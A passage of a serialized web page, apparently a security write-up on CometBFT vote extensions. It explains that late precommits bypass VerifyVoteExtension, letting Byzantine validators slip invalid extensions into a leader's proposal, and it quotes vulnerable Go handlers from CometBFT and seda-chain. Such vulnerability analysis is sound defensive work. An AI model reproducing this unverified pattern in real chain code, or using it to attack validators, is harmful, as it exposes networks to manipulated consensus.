check and are therefore valid. Thus, we can directly inject all vote extensions into our proposal.",{"type":24,"tag":25,"props":84570,"children":84571},{},[84572,84574,84579,84581,84587],{"type":29,"value":84573},"Unfortunately, CometBTF directly accepts late precommits without passing them through ",{"type":24,"tag":154,"props":84575,"children":84577},{"className":84576},[],[84578],{"type":29,"value":84442},{"type":29,"value":84580},". This exposes a time window where Byzantine validators can smuggle malicious vote into the next leader's cache, luring the leader into including invalid vote extensions into its ",{"type":24,"tag":154,"props":84582,"children":84584},{"className":84583},[],[84585],{"type":29,"value":84586},"Proposal",{"type":29,"value":347},{"type":24,"tag":147,"props":84589,"children":84591},{"code":84590,"language":77442,"meta":7,"className":77443,"style":7},"func (cs *State) addVote(vote *types.Vote, peerID p2p.ID) (added bool, err error) {\n ...\n\n // A precommit for the previous height?\n // These come in while we wait timeoutCommit\n if vote.Height+1 == cs.Height && vote.Type == types.PrecommitType {\n ...\n // Late precommits are not checked by VerifyVoteExtension\n added, err = cs.LastCommit.AddVote(vote)\n ...\n return added, err\n }\n extEnabled := cs.state.ConsensusParams.Feature.VoteExtensionsEnabled(vote.Height)\n if extEnabled {\n ...\n if vote.Type == types.PrecommitType && !vote.BlockID.IsNil() &&\n !bytes.Equal(vote.ValidatorAddress, myAddr) { // Skip the VerifyVoteExtension call if the vote was issued by this validator.\n ...\n err := cs.blockExec.VerifyVoteExtension(context.TODO(), vote)\n ...\n }\n } else if {\n ...\n }\n ...\n}\n",[84592],{"type":24,"tag":154,"props":84593,"children":84594},{"__ignoreMap":7},[84595,84707,84714,84721,84729,84737,84821,84828,84836,84890,84897,84918,84925,84997,85013,85020,85094,85150,85157,85219,85226,85233,85252,85259,85266,85273],{"type":24,"tag":158,"props":84596,"children":84597},{"class":160,"line":161},[84598,84602,84606,84611,84615,84620,84624,84629,84633,84638,84642,84646,84650,84655,84659,84664,84669,84673,84678,84682,84687,84691,84695,84699,84703],{"type":24,"tag":158,"props":84599,"children":84600},{"style":165},[84601],{"type":29,"value":77578},{"type":24,"tag":158,"props":84603,"children":84604},{"style":188},[84605],{"type":29,"value":2262},{"type":24,"tag":158,"props":84607,"children":84608},{"style":177},[84609],{"type":29,"value":84610},"cs ",{"type":24,"tag":158,"props":84612,"children":84613},{"style":222},[84614],{"type":29,"value":577},{"type":24,"tag":158,"props":84616,"children":84617},{"style":171},[84618],{"type":29,"value":84619},"State",{"type":24,"tag":158,"props":84621,"children":84622},{"style":188},[84623],{"type":29,"value":723},{"type":24,"tag":158,"props":84625,"children":84626},{"style":496},[84627],{"type":29,"value":84628},"addVote",{"type":24,"tag":158,"props":84630,"children":84631},{"style":188},[84632],{"type":29,"value":504},{"type":24,"tag":158,"props":84634,"children":84635},{"style":177},[84636],{"type":29,"value":84637},"vote",{"type":24,"tag":158,"props":84639,"children":84640},{"style":222},[84641],{"type":29,"value":615},{"type":24,"tag":158,"props":84643,"children":84644},{"style":171},[84645],{"type":29,"value":7411},{"type":24,"tag":158,"props":84647,"children":84648},{"style":188},[84649],{"type":29,"value":347},{"type":24,"tag":158,"props":84651,"children":84652},{"style":171},[84653],{"type":29,"value":84654},"Vote",{"type":24,"tag":158,"props":84656,"children":84657},{"style":188},[84658],{"type":29,"value":191},{"type":24,"tag":158,"props":84660,"children":84661},{"style":177},[84662],{"type":29,"value":84663},"peerID",{"type":24,"tag":158,"props":84665,"children":84666},{"style":171},[84667],{"type":29,"value":84668}," p2p",{"type":24,"tag":158,"props":84670,"children":84671},{"style":188},[84672],{"type":29,"value":347},{"type":24,"tag":158,"props":84674,"children":84675},{"style":171},[84676],{"type":29,"value":84677},"ID",{"type":24,"tag":158,"props":84679,"children":84680},{"style":188},[84681],{"type":29,"value":77660},{"type":24,"tag":158,"props":84683,"children":84684},{"style":177},[84685],{"type":29,"value":84686},"added",{"type":24,"tag":158,"props":84688,"children":84689},{"style":171},[84690],{"type":29,"value":2928},{"type":24,"tag":158,"props":84692,"children":84693},{"style":188},[84694],{"type":29,"value":191},{"type":24,"tag":158,"props":84696,"children":84697},{"style":177},[84698],{"type":29,"value":49691},{"type":24,"tag":158,"props":84700,"children":84701},{"style":171},[84702],{"type":29,"value":16111},{"type":24,"tag":158,"props":84704,"children":84705},{"style":188},[84706],{"type":29,"value":16038},{"type":24,"tag":158,"props":84708,"children":84709},{"class":160,"line":213},[84710],{"type":24,"tag":158,"props":84711,"children":84712},{"style":222},[84713],{"type":29,"value":21583},{"type":24,"tag":158,"props":84715,"children":84716},{"class":160,"line":238},[84717],{"type":24,"tag":158,"props":84718,"children":84719},{"emptyLinePlaceholder":16},[84720],{"type":29,"value":481},{"type":24,"tag":158,"props":84722,"children":84723},{"class":160,"line":259},[84724],{"type":24,"tag":158,"props":84725,"children":84726},{"style":2588},[84727],{"type":29,"value":84728}," // A precommit for the previous height?\n",{"type":24,"tag":158,"props":84730,"children":84731},{"class":160,"line":280},[84732],{"type":24,"tag":158,"props":84733,"children":84734},{"style":2588},[84735],{"type":29,"value":84736}," // These come in while we wait timeoutCommit\n",{"type":24,"tag":158,"props":84738,"children":84739},{"class":160,"line":301},[84740,84744,84749,84753,84758,84762,84766,84770,84775,84779,84783,84787,84791,84795,84800,84804,84808,84812,84817],{"type":24,"tag":158,"props":84741,"children":84742},{"style":1914},[84743],{"type":29,"value":3160},{"type":24,"tag":158,"props":84745,"children":84746},{"style":177},[84747],{"type":29,"value":84748}," vote",{"type":24,"tag":158,"props":84750,"children":84751},{"style":188},[84752],{"type":29,"value":347},{"type":24,"tag":158,"props":84754,"children":84755},{"style":177},[84756],{"type":29,"value":84757},"Height",{"type":24,"tag":158,"props":84759,"children":84760},{"style":222},[84761],{"type":29,"value":728},{"type":24,"tag":158,"props":84763,"children":84764},{"style":465},[84765],{"type":29,"value":5672},{"type":24,"tag":158,"props":84767,"children":84768},{"style":222},[84769],{"type":29,"value":3175},{"type":24,"tag":158,"props":84771,"children":84772},{"style":177},[84773],{"type":29,"value":84774}," cs",{"type":24,"tag":158,"props":84776,"children":84777},{"style":188},[84778],{"type":29,"value":347},{"type":24,"tag":158,"props":84780,"children":84781},{"style":177},[84782],{"type":29,"value":84757},{"type":24,"tag":158,"props":84784,"children":84785},{"style":222},[84786],{"type":29,"value":15419},{"type":24,"tag":158,"props":84788,"children":84789},{"style":177},[84790],{"type":29,"value":84748},{"type":24,"tag":158,"props":84792,"children":84793},{"style":188},[84794],{"type":29,"value":347},{"type":24,"tag":158,"props":84796,"children":84797},{"style":177},[84798],{"type":29,"value":84799},"Type",{"type":24,"tag":158,"props":84801,"children":84802},{"style":222},[84803],{"type":29,"value":3175},{"type":24,"tag":158,"props":84805,"children":84806},{"style":177},[84807],{"type":29,"value":79453},{"type":24,"tag":158,"props":84809,"children":84810},{"style":188},[84811],{"type":29,"value":347},{"type":24,"tag":158,"props":84813,"children":84814},{"style":177},[84815],{"type":29,"value":84816},"PrecommitType",{"type":24,"tag":158,"props":84818,"children":84819},{"style":188},[84820],{"type":29,"value":210},{"type":24,"tag":158,"props":84822,"children":84823},{"class":160,"line":626},[84824],{"type":24,"tag":158,"props":84825,"children":84826},{"style":222},[84827],{"type":29,"value":83120},{"type":24,"tag":158,"props":84829,"children":84830},{"class":160,"line":668},[84831],{"type":24,"tag":158,"props":84832,"children":84833},{"style":2588},[84834],{"type":29,"value":84835}," // Late precommits are not checked by VerifyVoteExtension\n",{"type":24,"tag":158,"props":84837,"children":84838},{"class":160,"line":676},[84839,84844,84848,84852,84856,84860,84864,84869,84873,84878,84882,84886],{"type":24,"tag":158,"props":84840,"children":84841},{"style":177},[84842],{"type":29,"value":84843}," added",{"type":24,"tag":158,"props":84845,"children":84846},{"style":188},[84847],{"type":29,"value":191},{"type":24,"tag":158,"props":84849,"children":84850},{"style":177},[84851],{"type":29,"value":49691},{"type":24,"tag":158,"props":84853,"children":84854},{"style":222},[84855],{"type":29,"value":462},{"type":24,"tag":158,"props":84857,"children":84858},{"style":177},[84859],{"type":29,"value":84774},{"type":24,"tag":158,"props":84861,"children":84862},{"style":188},[84863],{"type":29,"value":347},{"type":24,"tag":158,"props":84865,"children":84866},{"style":177},[84867],{"type":29,"value":84868},"LastCommit",{"type":24,"tag":158,"props":84870,"children":84871},{"style":188},[84872],{"type":29,"value":347},{"type":24,"tag":158,"props":84874,"children":84875},{"style":496},[84876],{"type":29,"value":84877},"AddVote",{"type":24,"tag":158,"props":84879,"children":84880},{"style":188},[84881],{"type":29,"value":504},{"type":24,"tag":158,"props":84883,"children":84884},{"style":177},[84885],{"type":29,"value":84637},{"type":24,"tag":158,"props":84887,"children":84888},{"style":188},[84889],{"type":29,"value":2125},{"type":24,"tag":158,"props":84891,"children":84892},{"class":160,"line":684},[84893],{"type":24,"tag":158,"props":84894,"children":84895},{"style":222},[84896],{"type":29,"value":83120},{"type":24,"tag":158,"props":84898,"children":84899},{"class":160,"line":700},[84900,84904,84909,84913],{"type":24,"tag":158,"props":84901,"children":84902},{"style":1914},[84903],{"type":29,"value":16980},{"type":24,"tag":158,"props":84905,"children":84906},{"style":177},[84907],{"type":29,"value":84908}," added",{"type":24,"tag":158,"props":84910,"children":84911},{"style":188},[84912],{"type":29,"value":191},{"type":24,"tag":158,"props":84914,"children":84915},{"style":177},[84916],{"type":29,"value":84917},"err\n",{"type":24,"tag":158,"props":84919,"children":84920},{"class":160,"line":785},[84921],{"type":24,"tag":158,"props":84922,"children":84923},{"style":188},[84924],{"type":29,"value":3967},{"type":24,"tag":158,"props":84926,"children":84927},{"class":160,"line":1447},[84928,84933,84937,84941,84945,84950,84954,84959,84963,84968,84972,84977,84981,84985,84989,84993],{"type":24,"tag":158,"props":84929,"children":84930},{"style":177},[84931],{"type":29,"value":84932}," extEnabled",{"type":24,"tag":158,"props":84934,"children":84935},{"style":222},[84936],{"type":29,"value":77694},{"type":24,"tag":158,"props":84938,"children":84939},{"style":177},[84940],{"type":29,"value":84774},{"type":24,"tag":158,"props":84942,"children":84943},{"style":188},[84944],{"type":29,"value":347},{"type":24,"tag":158,"props":84946,"children":84947},{"style":177},[84948],{"type":29,"value":84949},"state",{"type":24,"tag":158,"props":84951,"children":84952},{"style":188},[84953],{"type":29,"value":347},{"type":24,"tag":158,"props":84955,"children":84956},{"style":177},[84957],{"type":29,"value":84958},"ConsensusParams",{"type":24,"tag":158,"props":84960,"children":84961},{"style":188},[84962],{"type":29,"value":347},{"type":24,"tag":158,"props":84964,"children":84965},{"style":177},[84966],{"type":29,"value":84967},"Feature",{"type":24,"tag":158,"props":84969,"children":84970},{"style":188},[84971],{"type":29,"value":347},{"type":24,"tag":158,"props":84973,"children":84974},{"style":496},[84975],{"type":29,"value":84976},"VoteExtensionsEnabled",{"type":24,"tag":158,"props":84978,"children":84979},{"style":188},[84980],{"type":29,"value":504},{"type":24,"tag":158,"props":84982,"children":84983},{"style":177},[84984],{"type":29,"value":84637},{"type":24,"tag":158,"props":84986,"children":84987},{"style":188},[84988],{"type":29,"value":347},{"type":24,"tag":158,"props":84990,"children":84991},{"style":177},[84992],{"type":29,"value":84757},{"type":24,"tag":158,"props":84994,"children":84995},{"style":188},[84996],{"type":29,"value":2125},{"type":24,"tag":158,"props":84998,"children":84999},{"class":160,"line":1509},[85000,85004,85009],{"type":24,"tag":158,"props":85001,"children":85002},{"style":1914},[85003],{"type":29,"value":3160},{"type":24,"tag":158,"props":85005,"children":85006},{"style":177},[85007],{"type":29,"value":85008}," extEnabled",{"type":24,"tag":158,"props":85010,"children":85011},{"style":188},[85012],{"type":29,"value":210},{"type":24,"tag":158,"props":85014,"children":85015},{"class":160,"line":1527},[85016],{"type":24,"tag":158,"props":85017,"children":85018},{"style":222},[85019],{"type":29,"value":83120},{"type":24,"tag":158,"props":85021,"children":85022},{"class":160,"line":1545},[85023,85027,85031,85035,85039,85043,85047,85051,85055,85059,85063,85067,85071,85076,85080,85085,85089],{"type":24,"tag":158,"props":85024,"children":85025},{"style":1914},[85026],{"type":29,"value":4936},{"type":24,"tag":158,"props":85028,"children":85029},{"style":177},[85030],{"type":29,"value":84748},{"type":24,"tag":158,"props":85032,"children":85033},{"style":188},[85034],{"type":29,"value":347},{"type":24,"tag":158,"props":85036,"children":85037},{"style":177},[85038],{"type":29,"value":84799},{"type":24,"tag":158,"props":85040,"children":85041},{"style":222},[85042],{"type":29,"value":3175},{"type":24,"tag":158,"props":85044,"children":85045},{"style":177},[85046],{"type":29,"value":79453},{"type":24,"tag":158,"props":85048,"children":85049},{"style":188},[85050],{"type":29,"value":347},{"type":24,"tag":158,"props":85052,"children":85053},{"style":177},[85054],{"type":29,"value":84816},{"type":24,"tag":158,"props":85056,"children":85057},{"style":222},[85058],{"type":29,"value":15419},{"type":24,"tag":158,"props":85060,"children":85061},{"style":222},[85062],{"type":29,"value":3750},{"type":24,"tag":158,"props":85064,"children":85065},{"style":177},[85066],{"type":29,"value":84637},{"type":24,"tag":158,"props":85068,"children":85069},{"style":188},[85070],{"type":29,"value":347},{"type":24,"tag":158,"props":85072,"children":85073},{"style":177},[85074],{"type":29,"value":85075},"BlockID",{"type":24,"tag":158,"props":85077,"children":85078},{"style":188},[85079],{"type":29,"value":347},{"type":24,"tag":158,"props":85081,"children":85082},{"style":496},[85083],{"type":29,"value":85084},"IsNil",{"type":24,"tag":158,"props":85086,"children":85087},{"style":188},[85088],{"type":29,"value":15277},{"type":24,"tag":158,"props":85090,"children":85091},{"style":222},[85092],{"type":29,"value":85093},"&&\n",{"type":24,"tag":158,"props":85095,"children":85096},{"class":160,"line":1618},[85097,85102,85107,85111,85115,85119,85123,85127,85132,85136,85141,85145],{"type":24,"tag":158,"props":85098,"children":85099},{"style":222},[85100],{"type":29,"value":85101}," !",{"type":24,"tag":158,"props":85103,"children":85104},{"style":177},[85105],{"type":29,"value":85106},"bytes",{"type":24,"tag":158,"props":85108,"children":85109},{"style":188},[85110],{"type":29,"value":347},{"type":24,"tag":158,"props":85112,"children":85113},{"style":496},[85114],{"type":29,"value":83576},{"type":24,"tag":158,"props":85116,"children":85117},{"style":188},[85118],{"type":29,"value":504},{"type":24,"tag":158,"props":85120,"children":85121},{"style":177},[85122],{"type":29,"value":84637},{"type":24,"tag":158,"props":85124,"children":85125},{"style":188},[85126],{"type":29,"value":347},{"type":24,"tag":158,"props":85128,"children":85129},{"style":177},[85130],{"type":29,"value":85131},"ValidatorAddress",{"type":24,"tag":158,"props":85133,"children":85134},{"style":188},[85135],{"type":29,"value":191},{"type":24,"tag":158,"props":85137,"children":85138},{"style":177},[85139],{"type":29,"value":85140},"myAddr",{"type":24,"tag":158,"props":85142,"children":85143},{"style":188},[85144],{"type":29,"value":25245},{"type":24,"tag":158,"props":85146,"children":85147},{"style":2588},[85148],{"type":29,"value":85149},"// Skip the VerifyVoteExtension call if the vote was issued by this validator.\n",{"type":24,"tag":158,"props":85151,"children":85152},{"class":160,"line":1635},[85153],{"type":24,"tag":158,"props":85154,"children":85155},{"style":222},[85156],{"type":29,"value":83796},{"type":24,"tag":158,"props":85158,"children":85159},{"class":160,"line":1644},[85160,85164,85168,85172,85176,85181,85185,85189,85193,85198,85202,85207,85211,85215],{"type":24,"tag":158,"props":85161,"children":85162},{"style":177},[85163],{"type":29,"value":83614},{"type":24,"tag":158,"props":85165,"children":85166},{"style":222},[85167],{"type":29,"value":77694},{"type":24,"tag":158,"props":85169,"children":85170},{"style":177},[85171],{"type":29,"value":84774},{"type":24,"tag":158,"props":85173,"children":85174},{"style":188},[85175],{"type":29,"value":347},{"type":24,"tag":158,"props":85177,"children":85178},{"style":177},[85179],{"type":29,"value":85180},"blockExec",{"type":24,"tag":158,"props":85182,"children":85183},{"style":188},[85184],{"type":29,"value":347},{"type":24,"tag":158,"props":85186,"children":85187},{"style":496},[85188],{"type":29,"value":84442},{"type":24,"tag":158,"props":85190,"children":85191},{"style":188},[85192],{"type":29,"value":504},{"type":24,"tag":158,"props":85194,"children":85195},{"style":177},[85196],{"type":29,"value":85197},"context",{"type":24,"tag":158,"props":85199,"children":85200},{"style":188},[85201],{"type":29,"value":347},{"type":24,"tag":158,"props":85203,"children":85204},{"style":496},[85205],{"type":29,"value":85206},"TODO",{"type":24,"tag":158,"props":85208,"children":85209},{"style":188},[85210],{"type":29,"value":19615},{"type":24,"tag":158,"props":85212,"children":85213},{"style":177},[85214],{"type":29,"value":84637},{"type":24,"tag":158,"props":85216,"children":85217},{"style":188},[85218],{"type":29,"value":2125},{"type":24,"tag":158,"props":85220,"children":85221},{"class":160,"line":1652},[85222],{"type":24,"tag":158,"props":85223,"children":85224},{"style":222},[85225],{"type":29,"value":83796},{"type":24,"tag":158,"props":85227,"children":85228},{"class":160,"line":1704},[85229],{"type":24,"tag":158,"props":85230,"children":85231},{"style":188},[85232],{"type":29,"value":5010},{"type":24,"tag":158,"props":85234,"children":85235},{"class":160,"line":1713},[85236,85240,85244,85248],{"type":24,"tag":158,"props":85237,"children":85238},{"style":188},[85239],{"type":29,"value":17015},{"type":24,"tag":158,"props":85241,"children":85242},{"style":1914},[85243],{"type":29,"value":4978},{"type":24,"tag":158,"props":85245,"children":85246},{"style":1914},[85247],{"type":29,"value":17024},{"type":24,"tag":158,"props":85249,"children":85250},{"style":188},[85251],{"type":29,"value":210},{"type":24,"tag":158,"props":85253,"children":85254},{"class":160,"line":1731},[85255],{"type":24,"tag":158,"props":85256,"children":85257},{"style":222},[85258],{"type":29,"value":83120},{"type":24,"tag":158,"props":85260,"children":85261},{"class":160,"line":5485},[85262],{"type":24,"tag":158,"props":85263,"children":85264},{"style":188},[85265],{"type":29,"value":3967},{"type":24,"tag":158,"props":85267,"children":85268},{"class":160,"line":5493},[85269],{"type":24,"tag":158,"props":85270,"children":85271},{"style":222},[85272],{"type":29,"value":21583},{"type":24,"tag":158,"props":85274,"children":85275},{"class":160,"line":5553},[85276],{"type":24,"tag":158,"props":85277,"children":85278},{"style":188},[85279],{"type":29,"value":307},{"type":24,"tag":25,"props":85281,"children":85282},{},[85283],{"type":29,"value":85284},"If developers are not aware of the subtle details regarding vote extension handling in CometBTF, it is quite easy to overlook implementing protections against these attacks.",{"type":24,"tag":395,"props":85286,"children":85288},{"id":85287},"real-world-examples-4",[85289],{"type":29,"value":77967},{"type":24,"tag":25,"props":85291,"children":85292},{},[85293,85295,85300,85302,85308,85310,85316],{"type":29,"value":85294},"An example of the bug we just described is shown here. ",{"type":24,"tag":154,"props":85296,"children":85298},{"className":85297},[],[85299],{"type":29,"value":84421},{"type":29,"value":85301}," only checks that each vote is properly signed by a validator in ",{"type":24,"tag":154,"props":85303,"children":85305},{"className":85304},[],[85306],{"type":29,"value":85307},"ValidateVoteExtension",{"type":29,"value":85309}," but does not verify it against the rules in ",{"type":24,"tag":154,"props":85311,"children":85313},{"className":85312},[],[85314],{"type":29,"value":85315},"VerifyVoteExtention.",{"type":29,"value":85317}," Therefore leaving the leader vulnerable to accepting malicious vote extensions in their proposals.",{"type":24,"tag":25,"props":85319,"children":85320},{},[85321],{"type":24,"tag":101,"props":85322,"children":85325},{"href":85323,"rel":85324},"https://github.com/sedaprotocol/seda-chain/blob/66c1b593fa81c7d443ab5fa82757b45e68597f49/app/abci/handlers.go#L180",[105],[85326],{"type":29,"value":78017},{"type":24,"tag":147,"props":85328,"children":85330},{"code":85329,"language":77442,"meta":7,"className":77443,"style":7},"func (h *Handlers) PrepareProposalHandler() sdk.PrepareProposalHandler {\n return func(ctx sdk.Context, req *abcitypes.RequestPrepareProposal) (*abcitypes.ResponsePrepareProposal, error) {\n ...\n var injection []byte\n if req.Height > ctx.ConsensusParams().Abci.VoteExtensionsEnableHeight && collectSigs {\n //Fails to verify vote extensions with VerifyVoteExtension rules\n err := baseapp.ValidateVoteExtensions(ctx, h.stakingKeeper, req.Height, ctx.ChainID(), req.LocalLastCommit)\n if err != nil {\n return nil, err\n }\n injection, err = json.Marshal(req.LocalLastCommit)\n if err != nil {\n h.logger.Error(\"failed to marshal extended votes\", \"err\", err)\n return nil, err\n }\n ...\n }\n defaultRes, err := h.defaultPrepareProposal(ctx, req)\n ...\n proposalTxs := defaultRes.Txs\n if injection != nil {\n proposalTxs = append([][]byte{injection}, proposalTxs...)\n h.logger.Debug(\"injected local last commit\", \"height\", req.Height)\n }\n return &abcitypes.ResponsePrepareProposal{\n Txs: proposalTxs,\n }, nil\n }\n}\n",[85331],{"type":24,"tag":154,"props":85332,"children":85333},{"__ignoreMap":7},[85334,85388,85479,85486,85507,85574,85582,85687,85710,85729,85736,85790,85813,85868,85887,85894,85901,85908,85962,85969,85995,86018,86070,86132,86139,86166,86186,86198,86205],{"type":24,"tag":158,"props":85335,"children":85336},{"class":160,"line":161},[85337,85341,85345,85350,85354,85359,85363,85368,85372,85376,85380,85384],{"type":24,"tag":158,"props":85338,"children":85339},{"style":165},[85340],{"type":29,"value":77578},{"type":24,"tag":158,"props":85342,"children":85343},{"style":188},[85344],{"type":29,"value":2262},{"type":24,"tag":158,"props":85346,"children":85347},{"style":177},[85348],{"type":29,"value":85349},"h ",{"type":24,"tag":158,"props":85351,"children":85352},{"style":222},[85353],{"type":29,"value":577},{"type":24,"tag":158,"props":85355,"children":85356},{"style":171},[85357],{"type":29,"value":85358},"Handlers",{"type":24,"tag":158,"props":85360,"children":85361},{"style":188},[85362],{"type":29,"value":723},{"type":24,"tag":158,"props":85364,"children":85365},{"style":496},[85366],{"type":29,"value":85367},"PrepareProposalHandler",{"type":24,"tag":158,"props":85369,"children":85370},{"style":188},[85371],{"type":29,"value":15277},{"type":24,"tag":158,"props":85373,"children":85374},{"style":171},[85375],{"type":29,"value":80008},{"type":24,"tag":158,"props":85377,"children":85378},{"style":188},[85379],{"type":29,"value":347},{"type":24,"tag":158,"props":85381,"children":85382},{"style":171},[85383],{"type":29,"value":85367},{"type":24,"tag":158,"props":85385,"children":85386},{"style":188},[85387],{"type":29,"value":210},{"type":24,"tag":158,"props":85389,"children":85390},{"class":160,"line":213},[85391,85395,85399,85403,85407,85411,85415,85419,85423,85428,85432,85437,85441,85446,85450,85454,85458,85462,85467,85471,85475],{"type":24,"tag":158,"props":85392,"children":85393},{"style":1914},[85394],{"type":29,"value":18227},{"type":24,"tag":158,"props":85396,"children":85397},{"style":165},[85398],{"type":29,"value":81287},{"type":24,"tag":158,"props":85400,"children":85401},{"style":188},[85402],{"type":29,"value":504},{"type":24,"tag":158,"props":85404,"children":85405},{"style":177},[85406],{"type":29,"value":21524},{"type":24,"tag":158,"props":85408,"children":85409},{"style":171},[85410],{"type":29,"value":79919},{"type":24,"tag":158,"props":85412,"children":85413},{"style":188},[85414],{"type":29,"value":347},{"type":24,"tag":158,"props":85416,"children":85417},{"style":171},[85418],{"type":29,"value":77627},{"type":24,"tag":158,"props":85420,"children":85421},{"style":188},[85422],{"type":29,"value":191},{"type":24,"tag":158,"props":85424,"children":85425},{"style":177},[85426],{"type":29,"value":85427},"req",{"type":24,"tag":158,"props":85429,"children":85430},{"style":222},[85431],{"type":29,"value":615},{"type":24,"tag":158,"props":85433,"children":85434},{"style":171},[85435],{"type":29,"value":85436},"abcitypes",{"type":24,"tag":158,"props":85438,"children":85439},{"style":188},[85440],{"type":29,"value":347},{"type":24,"tag":158,"props":85442,"children":85443},{"style":171},[85444],{"type":29,"value":85445},"RequestPrepareProposal",{"type":24,"tag":158,"props":85447,"children":85448},{"style":188},[85449],{"type":29,"value":77660},{"type":24,"tag":158,"props":85451,"children":85452},{"style":222},[85453],{"type":29,"value":577},{"type":24,"tag":158,"props":85455,"children":85456},{"style":171},[85457],{"type":29,"value":85436},{"type":24,"tag":158,"props":85459,"children":85460},{"style":188},[85461],{"type":29,"value":347},{"type":24,"tag":158,"props":85463,"children":85464},{"style":171},[85465],{"type":29,"value":85466},"ResponsePrepareProposal",{"type":24,"tag":158,"props":85468,"children":85469},{"style":188},[85470],{"type":29,"value":191},{"type":24,"tag":158,"props":85472,"children":85473},{"style":171},[85474],{"type":29,"value":16098},{"type":24,"tag":158,"props":85476,"children":85477},{"style":188},[85478],{"type":29,"value":16038},{"type":24,"tag":158,"props":85480,"children":85481},{"class":160,"line":238},[85482],{"type":24,"tag":158,"props":85483,"children":85484},{"style":222},[85485],{"type":29,"value":83120},{"type":24,"tag":158,"props":85487,"children":85488},{"class":160,"line":259},[85489,85493,85498,85502],{"type":24,"tag":158,"props":85490,"children":85491},{"style":165},[85492],{"type":29,"value":81396},{"type":24,"tag":158,"props":85494,"children":85495},{"style":177},[85496],{"type":29,"value":85497}," injection",{"type":24,"tag":158,"props":85499,"children":85500},{"style":188},[85501],{"type":29,"value":77505},{"type":24,"tag":158,"props":85503,"children":85504},{"style":171},[85505],{"type":29,"value":85506},"byte\n",{"type":24,"tag":158,"props":85508,"children":85509},{"class":160,"line":280},[85510,85514,85519,85523,85527,85531,85535,85539,85543,85547,85552,85556,85561,85565,85570],{"type":24,"tag":158,"props":85511,"children":85512},{"style":1914},[85513],{"type":29,"value":4936},{"type":24,"tag":158,"props":85515,"children":85516},{"style":177},[85517],{"type":29,"value":85518}," req",{"type":24,"tag":158,"props":85520,"children":85521},{"style":188},[85522],{"type":29,"value":347},{"type":24,"tag":158,"props":85524,"children":85525},{"style":177},[85526],{"type":29,"value":84757},{"type":24,"tag":158,"props":85528,"children":85529},{"style":222},[85530],{"type":29,"value":15428},{"type":24,"tag":158,"props":85532,"children":85533},{"style":177},[85534],{"type":29,"value":27100},{"type":24,"tag":158,"props":85536,"children":85537},{"style":188},[85538],{"type":29,"value":347},{"type":24,"tag":158,"props":85540,"children":85541},{"style":496},[85542],{"type":29,"value":84958},{"type":24,"tag":158,"props":85544,"children":85545},{"style":188},[85546],{"type":29,"value":31428},{"type":24,"tag":158,"props":85548,"children":85549},{"style":177},[85550],{"type":29,"value":85551},"Abci",{"type":24,"tag":158,"props":85553,"children":85554},{"style":188},[85555],{"type":29,"value":347},{"type":24,"tag":158,"props":85557,"children":85558},{"style":177},[85559],{"type":29,"value":85560},"VoteExtensionsEnableHeight",{"type":24,"tag":158,"props":85562,"children":85563},{"style":222},[85564],{"type":29,"value":15419},{"type":24,"tag":158,"props":85566,"children":85567},{"style":177},[85568],{"type":29,"value":85569}," collectSigs",{"type":24,"tag":158,"props":85571,"children":85572},{"style":188},[85573],{"type":29,"value":210},{"type":24,"tag":158,"props":85575,"children":85576},{"class":160,"line":301},[85577],{"type":24,"tag":158,"props":85578,"children":85579},{"style":2588},[85580],{"type":29,"value":85581}," //Fails to verify vote extensions with VerifyVoteExtension rules\n",{"type":24,"tag":158,"props":85583,"children":85584},{"class":160,"line":626},[85585,85589,85593,85598,85602,85607,85611,85615,85619,85624,85628,85633,85637,85641,85645,85649,85653,85657,85661,85666,85670,85674,85678,85683],{"type":24,"tag":158,"props":85586,"children":85587},{"style":177},[85588],{"type":29,"value":83614},{"type":24,"tag":158,"props":85590,"children":85591},{"style":222},[85592],{"type":29,"value":77694},{"type":24,"tag":158,"props":85594,"children":85595},{"style":177},[85596],{"type":29,"value":85597}," baseapp",{"type":24,"tag":158,"props":85599,"children":85600},{"style":188},[85601],{"type":29,"value":347},{"type":24,"tag":158,"props":85603,"children":85604},{"style":496},[85605],{"type":29,"value":85606},"ValidateVoteExtensions",{"type":24,"tag":158,"props":85608,"children":85609},{"style":188},[85610],{"type":29,"value":504},{"type":24,"tag":158,"props":85612,"children":85613},{"style":177},[85614],{"type":29,"value":21524},{"type":24,"tag":158,"props":85616,"children":85617},{"style":188},[85618],{"type":29,"value":191},{"type":24,"tag":158,"props":85620,"children":85621},{"style":177},[85622],{"type":29,"value":85623},"h",{"type":24,"tag":158,"props":85625,"children":85626},{"style":188},[85627],{"type":29,"value":347},{"type":24,"tag":158,"props":85629,"children":85630},{"style":177},[85631],{"type":29,"value":85632},"stakingKeeper",{"type":24,"tag":158,"props":85634,"children":85635},{"style":188},[85636],{"type":29,"value":191},{"type":24,"tag":158,"props":85638,"children":85639},{"style":177},[85640],{"type":29,"value":85427},{"type":24,"tag":158,"props":85642,"children":85643},{"style":188},[85644],{"type":29,"value":347},{"type":24,"tag":158,"props":85646,"children":85647},{"style":177},[85648],{"type":29,"value":84757},{"type":24,"tag":158,"props":85650,"children":85651},{"style":188},[85652],{"type":29,"value":191},{"type":24,"tag":158,"props":85654,"children":85655},{"style":177},[85656],{"type":29,"value":21524},{"type":24,"tag":158,"props":85658,"children":85659},{"style":188},[85660],{"type":29,"value":347},{"type":24,"tag":158,"props":85662,"children":85663},{"style":496},[85664],{"type":29,"value":85665},"ChainID",{"type":24,"tag":158,"props":85667,"children":85668},{"style":188},[85669],{"type":29,"value":19615},{"type":24,"tag":158,"props":85671,"children":85672},{"style":177},[85673],{"type":29,"value":85427},{"type":24,"tag":158,"props":85675,"children":85676},{"style":188},[85677],{"type":29,"value":347},{"type":24,"tag":158,"props":85679,"children":85680},{"style":177},[85681],{"type":29,"value":85682},"LocalLastCommit",{"type":24,"tag":158,"props":85684,"children":85685},{"style":188},[85686],{"type":29,"value":2125},{"type":24,"tag":158,"props":85688,"children":85689},{"class":160,"line":668},[85690,85694,85698,85702,85706],{"type":24,"tag":158,"props":85691,"children":85692},{"style":1914},[85693],{"type":29,"value":60074},{"type":24,"tag":158,"props":85695,"children":85696},{"style":177},[85697],{"type":29,"value":49792},{"type":24,"tag":158,"props":85699,"children":85700},{"style":222},[85701],{"type":29,"value":65661},{"type":24,"tag":158,"props":85703,"children":85704},{"style":165},[85705],{"type":29,"value":83196},{"type":24,"tag":158,"props":85707,"children":85708},{"style":188},[85709],{"type":29,"value":210},{"type":24,"tag":158,"props":85711,"children":85712},{"class":160,"line":676},[85713,85717,85721,85725],{"type":24,"tag":158,"props":85714,"children":85715},{"style":1914},[85716],{"type":29,"value":62002},{"type":24,"tag":158,"props":85718,"children":85719},{"style":165